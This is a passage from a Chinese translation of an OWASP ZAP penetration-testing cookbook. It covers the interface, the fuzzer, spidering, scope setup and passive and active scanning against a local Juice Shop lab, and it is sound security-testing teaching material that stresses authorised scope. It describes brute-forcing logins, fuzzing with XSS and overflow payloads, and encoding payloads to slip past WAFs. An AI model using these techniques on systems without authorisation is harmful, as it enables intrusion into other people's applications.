站点选项卡是显示正在测试的站点的地方。它包含两个树:上下文树和站点树。

站点树是显示测试站点的地方。ZAP 只能攻击站点树中显示的站点。每个站点会根据 HTTP 请求方法和所使用的参数名称显示一个唯一的节点。

上下文树中,你可以将 URL 分组。最佳实践是为每个正在测试的应用程序创建一个上下文:

图 2.9 – 站点树

图 2.9 – 站点树

还有四个可以使用的选项:

  • 红色目标:仅显示在范围内的站点

  • 有绿色加号的窗口:创建一个新上下文

  • 左侧有白色箭头的窗口:导入上下文

  • 右侧有白色箭头的窗口:导出上下文

脚本选项卡

一旦你点击+图标(图 2.10),一个新菜单会弹出,允许你选择脚本选项卡。

图 2.10 – 加号图标

图 2.10 – 加号图标

脚本标签会打开一个树状菜单,包含两个可选标签。第一个标签是脚本标签,展示你在 ZAP 中已有的脚本,按脚本类型组织。第二个标签是模板标签树,包含可用于创建脚本的模板。

图 2.11 – 脚本标签

图 2.11 – 脚本标签

除了脚本模板标签外,脚本树状标签中还有三个选项:

  • 文件夹: 用于从本地文件存储加载脚本

  • 软盘: 用于将脚本保存到本地文件存储

  • 滚动并添加: 用于创建新脚本

ZAP 的另一个显著特征是工作区窗口。在下一个食谱中,我们将更深入地探讨这些选项。

它是如何工作的…

树状窗口的整体目的是帮助测试人员了解已捕获的 Web 应用程序,哪些在范围内,哪些在范围外,以及快速查看在枚举阶段或模糊目录过程中发现的各种路径。这里重要的是要开始将你的站点设置为上下文,以便后续工作中测试更具针对性,同时减少一些由网站连接到其他资源时产生的噪音。

工作区窗口

在本食谱中,我们将详细讲解 ZAP 代理的工作区窗口及其各部分的功能。

准备开始

为了能够查看本食谱,你需要在计算机上安装 ZAP,并确保它已启动并运行。

如何操作…

在 ZAP 代理的工作区部分,你可以查看请求和响应,并开始扫描。以下各点的数字与图 2.12中的标签对应:

  • 快速开始(*1*):快速开始显示一个窗口,允许你选择是否启动自动扫描或使用手动探索

  • 请求响应标签 (23): 请求响应标签允许你查看来自站点各部分的请求和响应

  • 中断(*4*):中断标签允许你更改请求和响应,在 ZAP 中设置断点时停止

  • 脚本控制台(*5*):脚本控制台标签打开一个窗口,允许你修改新创建的脚本

  • 自动扫描(*6*):自动扫描选项允许你对目标启动自动扫描

  • 手动探索(*7*):手动探索选项允许你启动一个浏览器窗口,并设置所有必要的配置,通过 ZAP 代理目标

  • 了解更多(*8*):了解更多选项提供有关 ZAP 的详细信息,并提供需要互联网连接才能获得更多详细信息的链接

图 2.12 – 工作区窗口

图 2.12 – 工作区窗口

它是如何工作的…

这个窗口启动了整个项目,并且是 OWASP ZAP 中用于测试的主要功能。与其他机器中间代理工具不同,评估是通过这个窗口捕获的,无论是自动化还是手动进行。内容从这里填充到信息窗口中。在接下来的章节中,我们将讨论这个窗口包含哪些信息,其他标签或插件,以及如何配置这些内容。

信息窗口

在本教程中,我们将介绍 ZAP 代理信息窗口以及信息窗口中每个部分的功能。

准备工作

为了能够查看这个教程,你需要在你的计算机上安装 ZAP,并且确保它已经启动并在运行。

如何操作…

信息窗口包含被测试应用程序的数据。它由历史搜索警报输出标签组成,其他 ZAP 工具可以通过使用+图标作为标签添加。以下是信息窗口的截图:

图 2.13 – 信息窗口

图 2.13 – 信息窗口

历史标签

在这个标签中,ZAP 显示了所有已发送的请求,从第一个请求开始。此标签包含四个可选项,如图 2.13所示:

  • 靶心 (1): 选择靶心图标时,只会显示作用范围内的 URL。

  • 地球图标 (2): 地球图标用于选择站点。它仅显示树窗口中包含的站点的 URL。你只能选择作用范围(Scope)或站点(Sites)中的一个。

  • 漏斗图标 (3): 这个图标允许你基于 HTTP 动词方法、HTTP 动词代码、标签、警报和/或 URL 正则表达式来筛选请求。

  • 绿色箭头导出 (4): 这个图标允许你将历史记录以 CSV 格式保存到你选择的主机目录中。

搜索标签

在这个标签中,ZAP 提供了一个搜索机制,你可以在所有数据中或仅在 URL、请求、响应、头信息或 HTTP 模糊测试结果中搜索正则表达式。搜索标签有八个选项。图 2.14展示了搜索标签:

图 2.14 – 信息窗口搜索标签

图 2.14 – 信息窗口搜索标签

在下图中高亮的图标用于仅在作用范围内的 URL 中进行搜索(上下文 – 参见图 2.10)。为了使用此功能,必须先将站点中的 URL 添加到上下文中。选中后,靶心图标将变为红色,而不是灰色:

图 2.15 – 上下文按钮

图 2.15 – 上下文按钮

向右滚动,下一个高亮显示为红色的字段是搜索框输入字段。它用于通过正则表达式搜索内容:

图 2.16 – 搜索输入框

图 2.16 – 搜索输入框

搜索参数基于特定的字段,选择项以下拉菜单形式显示。在这个下拉菜单中,你可以选择是否使用正则表达式搜索所有数据,或仅搜索 URLs、请求、响应、头信息或 HTTP 模糊测试结果:

图 2.17 – 搜索下拉菜单

图 2.17 – 搜索下拉菜单

接下来是反向复选框。勾选后,如图 2.18所示,ZAP 将搜索不包含你搜索的正则表达式的任何内容:

图 2.18 – 反向复选框

图 2.18 – 反向复选框

输入正则表达式后,你需要点击带有放大镜的搜索按钮。点击后,正则表达式的搜索开始。作为替代,你也可以根据键盘的不同按下回车Enter键来启动搜索:

图 2.19 – 搜索按钮

图 2.19 – 搜索按钮

一旦搜索完成,你可以使用下一步上一步按钮将选择项移动到搜索结果中的下一个或上一个项目:

图 2.20 – 下一步和上一步按钮

图 2.20 – 下一步和上一步按钮

搜索标签页中还有一个字段,显示搜索结果的信息。这个字段会显示匹配的数量,正如名称所示,显示多少个结果匹配了搜索的正则表达式:

图 2.21 – 匹配数量指示器

图 2.21 – 匹配数量指示器

最后,有一个导出按钮。点击时,用户可以将搜索结果导出并保存为 CSV 文件到本地文件存储:

图 2.22 – 导出按钮

图 2.22 – 导出按钮

警报标签页

警报标签页分为两个窗格,如图 2.23所示。左侧窗格包含 ZAP 找到的警报,一旦选择了某个警报,右侧窗格将显示该警报的信息,如图 2.23所示。左窗格显示在爬虫、主动扫描或被动扫描过程中找到的所有警报或问题,并以树形视图格式显示。警报还按严重程度排序,从高到低,直到信息级别。警报标签页还提供四个可选择的选项。

图 2.23 – 警报标签页

图 2.23 – 警报标签页

以下是与图 2.23对应的这些选项的解释:

  • 上下文 (1): 用于仅显示作用域内的 URLs 的警报。

  • 地球 (2): 仅选择包含在站点树视图中的站点的警报。

  • 铅笔 (3): 允许用户编辑警报的属性。

  • 扫帚(带颜色)(4):删除所有警报按钮。点击时,会显示警告要求用户确认是否确认此操作,或者取消此操作。点击 确定 以删除所有警报,点击 取消 以返回。

加号(+)符号

加号图标可用于向信息窗口添加额外的标签页。标签页为 ZAP 工具。可以添加的标签页有 AJAX** 爬虫主动 扫描自动化断点强制 浏览模糊测试HTTP** 会话OAST输出参数进度爬虫WebSocketsZest** 结果**。图 2.24 显示了所有这些选项,接下来是每个选项的描述:

图 2.24 – 插件符号的选项

图 2.24 – 插件符号的选项

以下是这些选项的解释:

  • AJAX 爬虫:此工具用于高效且有效地爬取基于 Ajax 的 Web 应用程序。它为 ZAP 创建一个与 Crawljax(一个开源事件驱动的动态爬虫工具)通信的代理。推荐在测试基于 Ajax 的 Web 应用程序时同时使用本地爬虫工具和 AJAX 爬虫。

  • 主动扫描:此选项允许启动新的扫描并查看现有扫描的进度。此外,它还展示了各种扫描的数据。

  • 自动化:此选项允许你创建自动化测试的脚本。

  • 断点:此选项管理当前会话中设置的所有断点。

  • 强制浏览:在此标签页中,ZAP 允许你使用强制浏览来查找目录和文件。

  • 模糊测试:在模糊测试中,有启动新模糊测试和查看已启动模糊测试信息的选项。

  • HTTP 会话:在此标签页中,ZAP 显示所选站点的 HTTP 会话。

  • OAST:在此标签页中,ZAP 显示发现的带外消息。

  • 输出:在此标签页中,ZAP 会显示在应用程序中发现的错误信息。这些错误可以用来向 ZAP 团队报告漏洞。

  • 参数:在此标签页中,ZAP 显示站点的参数和响应头字段。

  • 进度:在此标签页中,ZAP 显示每个主机的扫描规则的完成或进行状态以及每个扫描规则的详细信息。

  • 爬虫:爬虫工具是 ZAP 的本地爬虫。在此标签页中,ZAP 显示在扫描过程中由爬虫工具发现的独特 URI。该标签页包含三个子标签:第一个子标签显示已发现的 URI,第二个子标签显示添加的节点,第三个子标签显示任何爬虫消息。

  • WebSockets:该标签显示来自 WebSockets 连接的所有消息。

  • Zest 结果:此标签将显示 Zest 扫描的结果。

它是如何工作的…

信息窗口是从初始爬虫、主动或被动扫描、模糊测试或任何其他插件中获得结果的核心部分。此部分是你开始关注并形成更具体的手动攻击以及测试范围内 Web 应用程序的地方。

还有更多…

这里有很多有用的信息,能够帮助测试人员通过提供对OWASP Top 10或其他厂商文档的参考,创建好的渗透测试报告。这些信息可以在警报标签中找到,并且在选择特定漏洞时会发生变化。

底部

在这个食谱中,我们将讨论 ZAP 代理的底部区域以及每个部分的作用。

准备工作

要进行此食谱,你需要在计算机上安装 ZAP,并且需要启动并运行它。

如何操作…

在 ZAP 代理的底部,你有三个部分:警报、代理状态和扫描状态。警报部分,如图 2.25所示,给你一个快速查看 ZAP 可能在被测试应用中找到的任何问题。

图 2.25 – 警报

图 2.25 – 警报

接下来,我们有代理状态,显示 ZAP 代理运行的 IP 地址和端口:

图 2.26 – 代理信息

图 2.26 – 代理信息

最后,我们有一个当前扫描状态部分,显示当前正在运行的扫描以及 ZAP 代理在扫描过程中的任何时刻所做的工作。

图 2.27 – 当前扫描活动计数

图 2.27 – 当前扫描活动计数

它是如何工作的…

底部区域帮助跟踪扫描和警报数据的快速度量,并且是确保你建立的连接没有变化的快速方式。在构建高管报告时,考虑突出显示这些数据,如果需要一些统计数据用于每月关键 绩效指标KPI)报告,或者甚至帮助跟踪漏洞管理的数据。

在接下来的几个食谱中,我们将讨论编码/解码/哈希对话框和模糊器。我们决定讨论这些内容,因为另一个著名的代理工具的用户习惯使用这些标签,而 ZAP 则以不同的方式包含了这些功能。为了让你能够进行攻击,我们将深入讨论这些功能。

编码/解码/哈希对话框

在这个食谱中,我们将讨论如何在 ZAP 代理中执行编码、解码和哈希操作。

准备工作

要进行此食谱,你需要在计算机上安装 ZAP,并且需要启动并运行它。

如何操作…

编码是将数据从一种形式转换为另一种形式的过程,而解码则是反向转换。ZAP 内置了一个功能,帮助用户快速转换和引导数据。除了这个过程外,在同一设置中,还有一个功能可以创建该数据的简单哈希值。要开始,请从菜单栏上方选择工具,然后在菜单中选择编码/解码/哈希

提示

对于快捷键,在 Windows 系统中,按 Ctrl + E。在 macOS 系统中,按 Command + E

当编辑器打开时,首先要注意的是输入字段,您可以在此输入要编码、解码或哈希的文本,确定非法 UTF-8 字节,或转换为 Unicode。一旦输入所需的文本,所有字段会自动为您转换。

接下来,工具栏提供了几种选项。它们如下:

  • 添加新标签:添加一个新的标签页

  • 删除选中的标签:移除当前选中的标签页

  • 添加输出面板:在当前标签页中添加一个输出面板

  • 重置:将所有标签页恢复到默认状态

图 2.28 – 编码/解码/哈希对话框

图 2.28 – 编码/解码/哈希对话框

脚本下拉菜单中所示(见图2.29),用户可以添加新的字段来比较数据。

图 2.29 – 输出面板

图 2.29 – 输出面板

在您编码或哈希过的脚本之后,我们将继续进行模糊测试,并讨论如何配置不同的选项,以优化您的 Web 应用程序渗透测试方法。

工作原理……

使用此工具可以快速改变模糊测试应用程序中的操作方式,尤其是使用攻击向量如跨站脚本攻击、SQL 注入等。快速获得不同值的列表有助于绕过在 Web 应用程序中实现不良的验证或编码。

另见

对于具有强大操作功能的编码、解码和哈希字符串工具,请查看CyberChefgchq.github.io/CyberChef/

使用 Fuzzer 进行模糊测试

在本教程中,我们将介绍如何在 ZAP 代理中使用 Fuzzer,并讲解攻击者如何使用 ZAP 等工具通过暴力破解密码或尝试使用字典词汇通过试错法登录应用程序。

准备工作

要能够完成本教程,您需要在计算机上安装 ZAP 并确保其已启动运行。同时,您还需要运行 Juice Shop,如第一章所示。

如何操作……

对于不了解的人,模糊测试是指一种技术/自动化过程,向目标提交大量无效或意外的数据点,以分析结果中潜在的可利用漏洞。其基本思想是使用内置的有效负载集、任何可选的附加功能或自定义脚本,对任何输入进行模糊测试。在 ZAP 中,可以通过以下几种方式实现:

  • 在信息窗口中,点击其他插件(警报爬虫等)后的绿色+按钮

  • 在一个标签页(站点历史记录等)中右键点击请求,选择攻击/ 模糊测试…

  • 在请求标签的头部或正文中高亮显示一个字符串,右键点击,然后选择模糊测试…

  • 在菜单栏中选择工具 / 模糊测试…,然后选择要进行模糊测试的请求

提示

快捷键是Ctrl + Alt + F

要开始,进入 Fuzzer 插件的信息窗口后,点击新建 Fuzzer,这将显示当前捕获到的站点(参见图 2.30)以及来自 Spider 扫描的请求:

图 2.30 – Fuzzer 选择消息窗口

图 2.30 – Fuzzer 选择消息窗口

一旦选择了请求,新的对话框窗口会打开。在这个窗口中,你可以通过几个选项卡来配置模糊操作。我们将在接下来的部分中逐一介绍每个选项。

模糊位置标签

这是主选项卡,你可以在这里高亮选中的字符串开始进行模糊测试。要了解你正在查看的窗口,需要注意对话框的左上角显示了标题文本,而左下角显示了正文文本。屏幕的右侧显示了从标题中添加到选定字符串的模糊位置。该位置会与有效载荷和处理器的数量一起标出。此外,在标题上方有几个下拉菜单,可以用来选择标题和正文文本,以及更改如何查看左侧对话框,并且还有一个编辑功能。编辑允许你修改标题中的文本。

重要提示

编辑标题字符串会自动移除你添加的所有模糊器。

要开始操作,先高亮选中特定字符串区域,然后点击右侧的添加…。这将打开一个新的有效载荷对话框,你需要再次选择添加…,以便打开另一个对话框来选择类型。类型字段包括空/空值文件(你可以从主机系统目录中添加文件)、文件模糊器(包含各种有效载荷,例如缓冲区溢出填充、XSS 漏洞、目录列表等)、Json(用于 JSON 输入)、数字(从 0 到 10,增量为 2)、正则表达式(包含多个有效载荷)、脚本字符串等选项:

图 2.31 – 有效载荷 | 添加有效载荷

图 2.31 – 有效载荷 | 添加有效载荷

有效载荷中的另一个功能是处理器,如图 2.32所示。这允许你将当前的有效载荷更改并处理为不同的类型,比如将其转换为Base64 编码格式。你可以添加多种类型,然后选择添加…确定。这是在启动 Fuzzer 之前对模糊有效载荷进行编码、解码和哈希处理的一种方式。

此外,处理器可以应用于特定的模糊有效载荷(红色标出的部分)或选中的整个字符串(蓝色标出的部分),如图 2.32所示。界面上还会显示一个计数器,显示已应用的处理器数量:

图 2.32 – 处理器

图 2.32 – 处理器

一旦选择了处理器类型,点击对话框底部的添加,然后点击确定。这将把有效负载添加到Fuzz Locations,如图 2.32所示。完成所有输入后,选择右下角的开始模糊测试。模糊测试完成后,信息窗口将显示结果:

图 2.33 – 添加处理器

图 2.33 – 添加处理器

从左到右,在图 2.34中,信息窗口中显示的结果将展示任务编号、消息类型、HTTP 状态(代码)、原因(如禁止访问错误请求)、往返时间RTT)、响应头/响应体的大小、最高警报、状态和使用的有效负载。此外,结果可以导出到 CSV 电子表格。最后需要注意的是进度下拉菜单。此菜单跟踪每个模糊字符串,并允许您在结果之间切换。

图 2.34 – 模糊测试信息窗口

图 2.34 – 模糊测试信息窗口

选项卡

当启动新的模糊测试器时,您将看到选项选项卡(图 2.35)。此选项卡让您为模糊测试器配置更多选项:

图 2.35 – 模糊测试选项

图 2.35 – 模糊测试选项

这些选项如下:

  • 输入/输出错误重试次数:确定当发生输入/输出错误时,模糊测试器将进行多少次重试。

  • 最大错误数:当错误数达到此数值时,模糊测试器将停止。

  • 有效负载替换策略:控制多个有效负载列表的重复顺序。以下是两个选项:

    • 深度优先

    • 广度优先

  • 每次扫描的并发扫描线程数:扫描同时执行的线程数。增加此数字将加速扫描,但可能会对运行 ZAP 的计算机或目标造成压力。

  • 模糊测试时延迟(以毫秒为单位):在请求目标之间创建延迟,有助于避免被封锁,或如果目标限制过多请求时使用。

  • 跟随重定向:通过跟随下一个请求继续进行模糊测试。

消息处理器选项卡

最后一个选项卡,如图 2.36所示,是 HTTP消息处理器选项卡,它可以访问并更改正在进行模糊测试的消息,控制处理过程,并与 ZAP GUI 进行交互:

图 2.36 – 模糊测试消息处理器

图 2.36 – 模糊测试消息处理器

以下是需要了解的消息处理器类型。请记住,某些类型的处理器可能无法使用或不可用,这取决于看到的响应类型或是否已经构建了脚本:

  • 反 CSRF 令牌刷新:允许在请求中刷新反 CSRF 令牌,但必须由 ZAP 检测到才能在此处理器中使用。如果检测到反 CSRF 令牌,则会自动添加。

  • 模糊 HTTP 处理器(脚本):如果已向 ZAP 添加脚本,允许你选择启用的脚本。

  • 有效载荷反射检测器:此功能将告诉你是否发现了有效载荷,并使用符号(黄色太阳图标)和词语反射来表示这一点。此过程会自动添加。

  • 请求内容长度更新器:更新或添加内容长度请求头,包含正文的长度。此过程会自动添加。

  • 标签创建器:根据响应中的内容向结果的状态列添加自定义标签。

  • 用户消息处理器:对用户进行模糊处理。用户必须存在才能选择并添加此处理器。

恭喜!你现在已经全面掌握了 ZAP 的所有功能、布局、标签、树形结构和选项。

工作原理…

处理器是增加模糊处理定制化的方式,可以增加深度和混淆性,或者帮助绕过那些恼人的Web 应用防火墙WAFs),以进行针对目标的评估。

还有更多…

使用 Kali 或 Parrot 等操作系统时,通常会自带字典列表,另外可以使用 CeWL 等工具生成字典列表,它可以从目标 Web 应用中抓取单词,或者使用 John the Ripper,它提供了自定义字典列表的选项。

另见

查看 GitHub 页面,获取已构建的字典列表,以便在进行模糊处理时快速将其添加到 ZAP 中。

第三章:配置、爬行、扫描和报告

我们现在已经进入了第三章。在这一章中,我们将深入探讨黑客技术,但在此之前,我们首先需要了解如何设置浏览器和Zed Attack ProxyZAP),以便成功且无错误地捕获流量,并了解作为用户可以选择的不同选项。我们将介绍爬行(或蜘蛛爬行)的基础知识,使用该应用程序来映射网站树并为扫描(审计)做准备。最后,我们将讲解报告生成以及如何生成符合你评估要求的报告,并解读这些数据以获得更好的结果。

在本章中,我们将介绍以下食谱:

  • 在 ZAP 中设置范围

  • 与蜘蛛一起爬行

  • 使用 AJAX Spider 进行爬行

  • 被动扫描 Web 应用

  • 主动扫描 Web 应用

  • 生成报告

技术要求

对于本章,你需要在机器上安装 OWASP ZAP Proxy 和 OWASP Juice Shop,并希望能够使用 ZAP 拦截浏览器与 OWASP Juice Shop 之间的流量。

在 ZAP 中设置范围

在开始应用程序安全评估之前,设置项目的范围至关重要。范围定义了评估的目标和边界,例如在设置 ZAP 范围部分仅针对192.168.254.61中的页面,如图 3.1所示。设置范围可以防止范围外的(未经授权的)测试。

图 3.1 – 网站 | 会话属性以添加范围

图 3.1 – 网站 | 会话属性以添加范围

准备工作

为了准备此食谱,请启动 ZAP 和 OWASP Juice Shop。确保 ZAP 在 OWASP Juice Shop 应用程序的首页拦截流量。

如何操作…

  1. 首先,你需要启动OWASP Juice Shop。在浏览器窗口中,当 ZAP 正在拦截流量时,使用你的 IP 地址在浏览器中输入3000,并访问OWASP Juice Shop应用程序,如图 3.2所示。

图 3.2 – 使用用户的 IP 地址访问 Juice Shop

图 3.2 – 使用用户的 IP 地址访问 Juice Shop

  1. 打开 ZAP,在树形窗口中,点击新建上下文…按钮。

  2. 上下文名称字段中,选择一个名称。在这个例子中,我为一个新的上下文命名为OWASP Juice Shop,如图 3.3所示。

  3. 在选择名称后,在顶部节点字段中,点击选择…并选择https://IP 地址:3000节点。在这个例子中,我的 IP 地址是localhost

  4. 接下来,如果你愿意,可以在描述字段中输入一些内容,确保选中在范围内旁边的复选框,然后点击保存以保存新的上下文。

图 3.3 – 设置范围

图 3.3 – 设置范围

在你完成该项目的作用域设置后,我们将讨论为认证的爬虫扫描设置用户选项,然后再介绍如何使用SpiderAudit对应用程序进行操作。

工作原理…

通过设置项目的作用域,你将能够选择仅在作用域内的项目进行测试。这样可以确保你只检查那些已经授权测试的应用程序。

使用 Spider 进行爬取

Spidering 基于设置项目选项部分,我们将使用它来爬取 OWASP Juice Shop 代理。使用 Spider 进行爬取可以帮助我们识别在作用域内的应用程序目录。这对于识别用户从公开互联网可见的、易于访问的内容非常有用。ZAP 能够为用户提供更好的结果,使你对 Web 应用程序有更深入的了解,从而进行更全面的、被动和主动扫描。

准备工作

开始之前,请确保 ZAP 已启动且 OWASP Juice Shop 正在运行。

如何操作…

在你已经选择了需要添加到作用域的应用程序后,我们需要选择 URL。右键点击并选择Spider。如图 3.4所示,右键点击SitesContexts部分中的 URL,会显示多个选项。

图 3.4 – 从作用域进行 Spidering

图 3.4 – 从作用域进行 Spidering

一旦你选择了作用域,点击Spider来选择起始点。点击选择图标,绿色高亮显示在图 3.5中,这会打开一个下拉菜单。

图 3.5 – Spider 作用域

图 3.5 – Spider 作用域

图 3.6所示,你将选择要在 Spider 中使用的作用域内应用程序。在本例中,我们正在爬取我们本地安装的应用程序,OWASP Juice Shop

图 3.6 – 选择节点

图 3.6 – 选择节点

点击目标应用程序的选择后,你将回到Spider对话框,如图 3.7所示,起始点字段将显示IP 地址域名给 Spider。在我们的例子中,它列出了我们应用程序的 IP 地址,这与你的情况会有所不同。

图 3.7 – 起始点

图 3.7 – 起始点

接下来的功能是用户字段,允许你选择一个已配置的用户进行认证爬取以及会话管理。我们将在第四章中进一步讨论如何设置和一些用户配置选项,认证与 授权测试

此外,你会看到一个递归的复选框。选中后,它将确保当前选定的作用域站点下的所有节点也会用于启动 Spider。

最后,在Spider对话框中还有两个选项需要注意。第一个选项是仅扫描 Spider 子树,它允许你扫描应用程序目录及其内部的内容,选定的目录将作为起始点。此设置将忽略 URL 的子域名,只会使用子目录作为起始点。另一个选项是显示高级选项,如图 3.8所示。

图 3.8 – Spider 对话框复选框

图 3.8 – Spider 对话框复选框

勾选此选项后,该功能将作为第二个标签显示,您可以在图 3.9中看到。它包含更多关于 Spider 扫描器的选项。了解这些选项非常重要,尤其是在用户的应用程序对爬虫敏感的情况下。作为良好实践,如果应用程序没有快速处理请求,你将需要减少线程数,以防止应用程序崩溃。

图 3.9 – Spider 高级选项

图 3.9 – Spider 高级选项

工作原理…

Spider 的工作原理是发现并识别选定应用程序中的所有超链接和目录。Spider 将通过识别应用程序中的资源为你提供完整的应用视图。

在下一节中,我们将继续介绍另一个常用功能,称为AJAX Spider。这个集成的附加组件可以帮助用户抓取异步 JavaScript 和 XMLAJAX)丰富的 Web 应用程序。

使用 AJAX Spider 进行爬取

AJAX Web 应用程序可以使用 XML 来传输数据,但许多 Web 应用程序同样可以使用 JSON 文本或纯文本来传输数据。AJAX 是一种让 Web 应用程序通过与后端 Web 服务器交换数据来异步更新(Web 服务、API 端点和 JavaScript 获取方法)的方式。这使得 Web 页面可以更新页面的一部分而无需完全重新加载。AJAX Spider 为 ZAP 创建了一个与Crawljax的代理,Crawljax 是一个开源的、事件驱动的、动态的爬取工具。

准备就绪

你需要使用 ZAP 爬取 Juice Shop,因此在开始执行这个操作之前,确保先启动并运行这两个工具。

如何操作...

启动 AJAX 爬虫有三种方法。第一种方法是在站点树窗口中。要启动 AJAX 爬虫,右键点击要进行 AJAX 爬取的站点,悬停在攻击上,点击Ajax Spider...,如图 3.10所示。

图 3.10 – 通过站点树启动 AJAX Spider

图 3.10 – 通过站点树启动 AJAX Spider

启动 AJAX Spider 的第二种方式是通过工具标签,点击AJAX Spider...,如图 3.11所示。

图 3.11 – 从工具标签启动 AJAX Spider

图 3.11 – 从工具标签启动 AJAX Spider

第三种也是最后一种方法是通过信息窗口来启动 AJAX Spider。点击+图标,然后添加AJAX Spider选项卡。完成后,你可以点击左侧的新扫描,如图 3.12所示。

图 3.12 – 从信息窗口启动 AJAX Spider

图 3.12 – 从信息窗口启动 AJAX Spider

现在我们已经了解了如何启动 AJAX Spider,接下来我们将讨论点击AJAX Spider选项卡后发生的事情。通过前两种方法,或者点击新扫描作为第三种方法,AJAX Spider 配置窗口将会弹出。配置窗口包含七个选项,如图 3.13所示:

  • 起始点:点击选择…后,你可以选择要扫描的节点。

  • 上下文:在此字段中,你可以选择你想要爬取的上下文。

  • 用户:在这里你可以选择一个用户。

  • 仅在范围内:顾名思义,选中此框时,只有在范围内的节点才会被 AJAX-爬取

  • 仅爬取子树:选中此框时,仅会访问起始点 URI 下的资源。

  • 浏览器:在此下拉菜单中,你可以选择所需的浏览器。

  • 显示高级选项:顾名思义,选中此选项时,将会显示更多可用选项。

图 3.13 – AJAX Spider 范围选项卡

图 3.13 – AJAX Spider 范围选项卡

当对话框中的最后一个复选框显示高级选项被选中时,选项选项卡将显示。在选项选项卡中,您将看到七个额外的选项:

  • 浏览器窗口数量:选择可以同时打开多少个浏览器窗口。

  • 最大爬取深度:确定爬虫可以深入的层级。

  • 最大爬取状态数:确定 Spider 可以爬取的最大状态数。

  • 最大持续时间:此选项定义了爬虫运行的最大时间(以分钟为单位)。

  • 事件等待时间:在此,你可以设置事件触发后要等待的时间。

  • 重新加载等待时间:此项配置爬虫加载页面后的等待时间。

  • 允许的资源:此最后设置将允许额外的资源。例如,第三方脚本。

所有这些选项可以在图 3.14中看到。

.

图 3.14 – AJAX Spider 选项卡

一旦选择了你想要的选项,你可以点击开始扫描来开始爬取。一旦扫描完成,结果可以在信息窗口中的AJAX Spider标签中查看。扫描后,结果将开始在网站窗口中填充。展开网站树形结构可以查看新路径和标记,旁边会显示警告的严重性。此外,由 AJAX Spider 发现的资源将旁边有一个红色蜘蛛图标,如图 3.15所示。

图 3.15 – AJAX Spider 爬取的结果

图 3.15 – AJAX Spider 爬取的结果

它是如何工作的……

就像常规的 Spider 一样,AJAX Spider 会发现并识别所选应用程序中的所有超链接和目录,但它在 AJAX 应用程序中更为有效。

这部分介绍了 AJAX Spider。一旦爬取应用程序完成,ZAP 会执行两种扫描,其中第一种是自动的,但也可以手动触发。在下一部分,我们将教你如何进行被动扫描。

还有更多……

AJAX 是一组类似于 DHTML 或 LAMP 的技术,结合了以下内容:

  • HTML 和 CSS 用于标记和样式化数据。

  • 文档对象模型DOM)用于与数据交互并在浏览器中动态显示它。

  • XMLHttpRequestXHR)方法用于在浏览器和 web 服务器之间异步交换数据。这有助于避免页面重载。

  • JavaScript 对象表示法JSON)和 XML 格式用于将数据发送到浏览器。其他常见格式包括预格式化的 HTML 和纯文本。

  • JavaScript 用于将所有这些列出的技术组合在一起。

图 3.16 显示了该模型如何与传统 Web 通信进行比较。

图 3.16 – AJAX 与传统 Web 应用通信模型

图 3.16 – AJAX 与传统 Web 应用通信模型

AJAX 引擎,如图 3.16中橙色高亮部分所示,是通过使用XMLHttpRequest对象手动发起所有请求的地方。否则,开发者会使用如 jQuery、Prototype 和 YUI 等 JavaScript 库,在客户端创建 AJAX 替代的功能。这些库旨在隐藏 JavaScript 开发的复杂性(即跨浏览器兼容性)。

对于服务器端,一些框架也能提供帮助(例如 DWR 或 RAJAX(适用于 Java)),但如果你暴露了一个仅返回部分更新页面所需信息的服务,这也不是必须的。

  • 通过 AJAX 从客户端(浏览器)向 Web 服务器发送 HTTP 请求,处理服务器的响应而不重新加载整个页面。

  • 然后,JavaScript 提交并接收来自服务器的数据响应(XML 和 JSON)。

  • JavaScript 动态更新 DOM 和用户视图。

另见

请访问 W3Schools 了解更多关于 AJAX 工作原理以及 XMLHTTPRequest 选项的信息:www.w3schools.com/js/js_ajax_http.asp

被动扫描一个 Web 应用

被动扫描在 ZAP Proxy 的后台持续运行并记录发现的内容。它通过检查流入 ZAP Proxy 的流量来工作。这是一个被动的后台线程,不会影响应用程序的性能,因为它扫描的是已经存储在 ZAP 上的流量。

准备工作

对于这个步骤,你只需要启动并运行 ZAP 即可。

如何操作…

打开 工具 | 选项,然后在左侧向下滚动,直到看到 被动扫描器。在这里,你将看到配置选项复选框,首先询问是否仅扫描在范围内的消息,并且是否包含来自 模糊测试器 的流量。最后两个选项是用于编辑每个规则可触发的最大警报数量以及要扫描的应用程序的最大请求体大小(以字节为单位)。

图 3.17 – 被动扫描器选项

图 3.17 – 被动扫描器选项

提示

使用快捷键时,按住 Ctrl + Alt,然后按字母 OCtrl + Alt + O)。

关于被动扫描,最后需要知道的一点是,发现的结果仍会显示在 ZAP Proxy 主界面上的 信息 窗口中的 警报 标签页。由于这是被动扫描,发现的内容将在你手动浏览应用程序时逐渐填充进来。这些发现的示例可以参见 图 3.18

图 3.18 – 警报标签

图 3.18 – 警报标签

它是如何工作的…

被动扫描通过非侵入性地捕获并分析流入 ZAP 的流量来工作。这些扫描在一个后台线程中运行,不会影响应用程序的性能。

还有更多内容…

有时,使用其他工具进行被动扫描并比较扫描结果可能会有所帮助。这有助于理解误报,并确保 ZAP 正如预期那样捕获信息。

另见

另一个流行的被动扫描工具是 Wfuzz。要安装它,请访问 github.com/xmendez/wfuzz

主动扫描一个 Web 应用

主动扫描顾名思义,ZAP 将尝试基于已知的漏洞定位、模糊测试并枚举一个应用程序,并利用这些漏洞。主动扫描明确是一种对 Web 应用程序的攻击。

重要提示

不要扫描你没有权限测试的 Web 应用。

重要提示

主动扫描无法识别 业务逻辑漏洞。你需要手动测试这些漏洞。

在 ZAP 中需要记住的一个功能是可以将脚本添加到所有通过的流量头部中,这将有助于识别 ZAP 流量和 Web 应用防火墙(WAF) 异常。该脚本是 AddZAPHeader.js,它会添加一个头部(即 X-ZAP-Initiator: 3)。如果你使用的是 Windows,默认的安装路径是:C:\Program Files\OWASP\Zed** 攻击代理\scripts\templates\httpsender**。

请注意,新的 HttpSender 脚本最初将被禁用。右键点击 脚本 树中的脚本并选择 启用

准备工作

对于这个任务,你需要确保 ZAP 和 OWASP Juice Shop 正在运行。

如何操作…

启动活动扫描有几种方法。第一种也是最简单的方法是在 工作区 窗口中,使用 自动化扫描 功能可以让你输入正在测试的 URL,然后你可以点击 攻击。这将首先启动蜘蛛扫描程序,然后使用默认策略和选项开始活动扫描。要使用特定选项启动活动扫描,可以在 树状视图 中右键点击 站点 中的一个 URL,选择 攻击,然后选择 活动扫描

